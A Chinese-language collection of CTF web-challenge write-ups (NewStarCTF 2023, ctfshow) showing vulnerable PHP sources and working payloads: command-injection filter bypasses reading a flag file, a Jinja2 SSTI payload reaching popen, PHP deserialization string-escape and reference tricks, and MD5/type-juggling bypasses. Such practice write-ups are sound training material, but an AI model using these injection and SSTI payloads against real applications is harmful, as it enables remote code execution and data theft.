[NewStarCTF 公开赛赛道]So Baby RCE
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
能过滤掉基本都过滤了,其实正则匹配cat直接c${Z}at可以执行cat,空格可以用${IFS}绕过。先ls看下当前目录下都有啥文件:/?cmd=ls
当前目录没啥好东西,直接ls / 的话 / 这个还被过滤了。那就用cd ..命令一级一级往上找,分号被过滤了就用逻辑与&&连接。看下上一级目录都有啥:
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls
连续三次后 得到
flag在ffffllllaaaaggggg文件中
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26c${Z}at${IFS}ffff${Z}llllaaaaggggg
得到flag
[NewStarCTF 2023 公开赛道]ErrorFlask
传入?number1=1&number2=2
提示为not ssti,flag in source code~3
提示flag在源码
我们修改一下其中一个为字母?number1=a&number2=2,让其出现报错
果然出现了/app/app.py源码,得到flag
[NewStarCTF 2023 公开赛道]Unserialize?
由于是private成员变量,所以序列化后长度会加2,多两个空白符
<?php
class evil {
private $cmd;
function __construct($cmd1){
$this->cmd=$cmd1;
}
}
$a=new evil('ls /');
echo serialize($a);
?>
O:4:"evil":1:{s:9:"evilcmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}
[NewStarCTF 2023 公开赛道]GenShin
抓包发现secr3tofpop
访问得到please give a name by get
传入{{print(7*7)}}执行不了
过滤了{{}}
?name={%print("".__class__.__bases__[0].__subclasses__()[132].__enter__.__globals__"pop"+"en".read())%}
[NewStarCTF 2023 公开赛道]逃
<?php
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
function filter($str){
return str_replace("bad","good",$str);
}
$str=new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:6:"whoami";}','b','c');
$str_1=serialize($str);
$str_2=filter($str_1);
$a=unserialize($str_2);
var_dump($a);
//O:7:"GetFlag":2:{s:3:"key";s:1:"a";s:3:"cmd";s:6:"whoami";}
//O:7:"GetFlag":2:{s:3:"key";s:3:"good";s:3:"cmd";s:6:"whoami";}
传入key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}
将whoami换为s7:"cat /f*"即可得到flag,并且改变bad的数量
Begin of PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach(post as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
?key1=s155964671a&key2=s878926199a&key4[]=1&key5=11111a
key3[]=111&flag5=.
ctfshow
266
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
}
$admin =new ctfshow('123','123');
echo serialize($admin);
由于
public function __destruct(){
global $flag;
echo $flag;
}
需要绕过
post传入O:7:"ctfshow":2:{}发现没用
post传入O:7:"ctfshow":2:{ctfshow}也没用
抓包传入O:7:"ctfshow":2:{ctfshow}得到flag
通过恶意破坏反序列化结构,但是不破坏类名
类名存在但是里面的执法序列化失败
265
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$admin =new ctfshowAdmin('123','123');
echo serialize($admin);
运行代码可拿到pyload
O:12:"ctfshowAdmin":2:{s:5:"token";s:3:"123";s:8:"password";R:2;}
传入ctfshow值即可获得flag